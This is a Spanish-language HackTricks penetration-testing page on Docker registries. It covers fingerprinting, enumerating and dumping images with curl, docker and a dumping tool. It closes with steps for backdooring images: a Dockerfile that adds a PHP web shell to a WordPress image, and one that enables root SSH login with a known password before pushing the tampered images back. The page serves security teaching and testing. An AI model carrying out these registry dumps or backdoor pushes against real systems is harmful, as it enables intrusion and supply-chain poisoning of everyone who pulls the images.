# 5000 - Pentesting Docker Registry {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Información Básica Un sistema de almacenamiento y distribución conocido como **Docker registry** está en funcionamiento para imágenes de Docker que están nombradas y pueden venir en múltiples versiones, distinguidas por etiquetas. Estas imágenes están organizadas dentro de **Docker repositories** en el registro, cada repositorio almacenando varias versiones de una imagen específica. La funcionalidad proporcionada permite que las imágenes sean descargadas localmente o subidas al registro, asumiendo que el usuario tiene los permisos necesarios. **DockerHub** sirve como el registro público predeterminado para Docker, pero los usuarios también tienen la opción de operar una versión local del registro/distribución de Docker de código abierto o optar por el **Docker Trusted Registry** comercialmente soportado. Además, se pueden encontrar varios otros registros públicos en línea. Para descargar una imagen de un registro local, se utiliza el siguiente comando: ```bash docker pull my-registry:9000/foo/bar:2.1 ``` Este comando obtiene la imagen `foo/bar` versión `2.1` del registro local en el dominio `my-registry` en el puerto `9000`. Por el contrario, para descargar la misma imagen de DockerHub, particularmente si `2.1` es la última versión, el comando se simplifica a: ```bash docker pull foo/bar ``` **Puerto por defecto:** 5000 ``` PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0) ``` ## Descubrimiento La forma más fácil de descubrir este servicio en ejecución es obtenerlo en la salida de nmap. De todos modos, ten en cuenta que, como es un servicio basado en HTTP, puede estar detrás de proxies HTTP y nmap no lo detectará.\ Algunas huellas dactilares: * Si accedes a `/` no se devuelve nada en la respuesta * Si accedes a `/v2/` entonces se devuelve `{}` * Si accedes a `/v2/_catalog` puedes obtener: * `{"repositories":["alpine","ubuntu"]}` * `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` ## Enumeración ### HTTP/HTTPS Docker registry puede estar configurado para usar **HTTP** o **HTTPS**. Así que lo primero que puede que necesites hacer es **encontrar cuál** está siendo configurado: ```bash curl -s http://10.10.10.10:5000/v2/_catalog #If HTTPS Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: " to save to a file. #If HTTP {"repositories":["alpine","ubuntu"]} ``` ### Autenticación Docker registry también puede ser configurado para requerir **autenticación**: ```bash curl -k https://192.25.197.3:5000/v2/_catalog #If Authentication required {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]} #If no authentication required {"repositories":["alpine","ubuntu"]} ``` Si el Docker Registry requiere autenticación, puedes[ **intentar forzarla utilizando esto**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\ **Si encuentras credenciales válidas, necesitarás usarlas** para enumerar el registro, en `curl` puedes usarlas así: ```bash curl -k -u username:password https://10.10.10.10:5000/v2/_catalog ``` ### Enumeración usando DockerRegistryGrabber [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) es una herramienta de python para enumerar / volcar el registro de docker (sin o con autenticación básica) ```bash usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url ____ ____ ____ | _ \ | _ \ / ___| | | | || |_) || | _ | |_| || _ < | |_| | |____/ |_| \_\ \____| Docker Registry grabber tool v2 by @SyzikSecu positional arguments: url URL options: -h, --help show this help message and exit -p port port to use (default : 5000) Authentication: -U USERNAME Username -P PASSWORD Password -A header Authorization bearer token Actions: --list --dump_all --dump DOCKERNAME DockerName Example commands: python drg.py http://127.0.0.1 --list python drg.py http://127.0.0.1 --dump my-ubuntu python drg.py http://127.0.0.1 --dump_all python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all python drg.py https://127.0.0.1 -A '' --list python drg.py https://127.0.0.1 -A '' --dump my-ubuntu python drg.py https://127.0.0.1 -A '' --dump_all python3 DockerGraber.py http://127.0.0.1 --list [+] my-ubuntu [+] my-ubuntu2 python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu [+] blobSum found 5 [+] Dumping my-ubuntu [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 python3 DockerGraber.py http://127.0.0.1 --dump_all [+] my-ubuntu [+] my-ubuntu2 [+] blobSum found 5 [+] Dumping my-ubuntu [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 [+] blobSum found 5 [+] Dumping my-ubuntu2 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 ``` ### Enumeración usando curl Una vez que **has obtenido acceso al registro de docker**, aquí hay algunos comandos que puedes usar para enumerarlo: ```bash #List repositories curl -s http://10.10.10.10:5000/v2/_catalog {"repositories":["alpine","ubuntu"]} #Get tags of a repository curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list {"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]} #Get manifests curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest { "schemaVersion": 1, "name": "ubuntu", "tag": "latest", "architecture": "amd64", "fsLayers": [ { "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935" }, { "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4" }, { "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10" } ], "history": [ { "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}" }, { "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}" }, { "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}" } ], "signatures": [ { "header": { "jwk": { "crv": "P-256", "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX", "kty": "EC", "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg", "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg" }, "alg": "ES256" }, "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q", "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ" } ] } #Download one of the previously listed blobs curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar #Inspect the insides of each blob tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory ``` {% hint style="warning" %} Tenga en cuenta que cuando descargue y descomprima los archivos y carpetas de blobs aparecerán en el directorio actual. **Si descarga todos los blobs y los descomprime en la misma carpeta, sobrescribirán los valores de los blobs descomprimidos anteriormente**, así que tenga cuidado. Puede ser interesante descomprimir cada blob dentro de una carpeta diferente para inspeccionar el contenido exacto de cada blob. {% endhint %} ### Enumeración usando docker ```bash #Once you know which images the server is saving (/v2/_catalog) you can pull them docker pull 10.10.10.10:5000/ubuntu #Check the commands used to create the layers of the image docker history 10.10.10.10:5000/ubuntu #IMAGE CREATED CREATED BY SIZE COMMENT #ed05bef01522 2 years ago ./run.sh 46.8MB # 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B # 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B # 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B # 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB #Run and get a shell docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running docker ps #Using a different shell docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container ``` ### Inyectando un backdoor en la imagen de WordPress En el escenario donde has encontrado un Docker Registry guardando una imagen de wordpress, puedes inyectarle un backdoor.\ **Crea** el **backdoor**: {% code title="shell.php" %} ```bash ``` {% endcode %} Crea un **Dockerfile**: {% code title="Dockerfile" %} ```bash FROM 10.10.10.10:5000/wordpress COPY shell.php /app/ RUN chmod 777 /app/shell.php ``` {% endcode %} **Crea** la nueva imagen, **verifica** que se ha creado y **sube** la imagen: ```bash docker build -t 10.10.10.10:5000/wordpress . #Create docker images docker push registry:5000/wordpress #Push it ``` ### Backdooring SSH server image Supongamos que encontraste un Docker Registry con una imagen de SSH y quieres ponerle un backdoor.\ **Descarga** la imagen y **ejecuta**la: ```bash docker pull 10.10.10.10:5000/sshd-docker-cli docker run -d 10.10.10.10:5000/sshd-docker-cli ``` Extraer el archivo `sshd_config` de la imagen SSH: ```bash docker cp 4c989242c714:/etc/ssh/sshd_config . ``` Y modifícalo para establecer: `PermitRootLogin yes` Crea un **Dockerfile** como el siguiente: {% tabs %} {% tab title="Dockerfile" %} ```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` {% endtab %} {% endtabs %} **Crea** la nueva imagen, **verifica** que se ha creado y **sube** la misma: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## Referencias * [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/) {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
{% endhint %}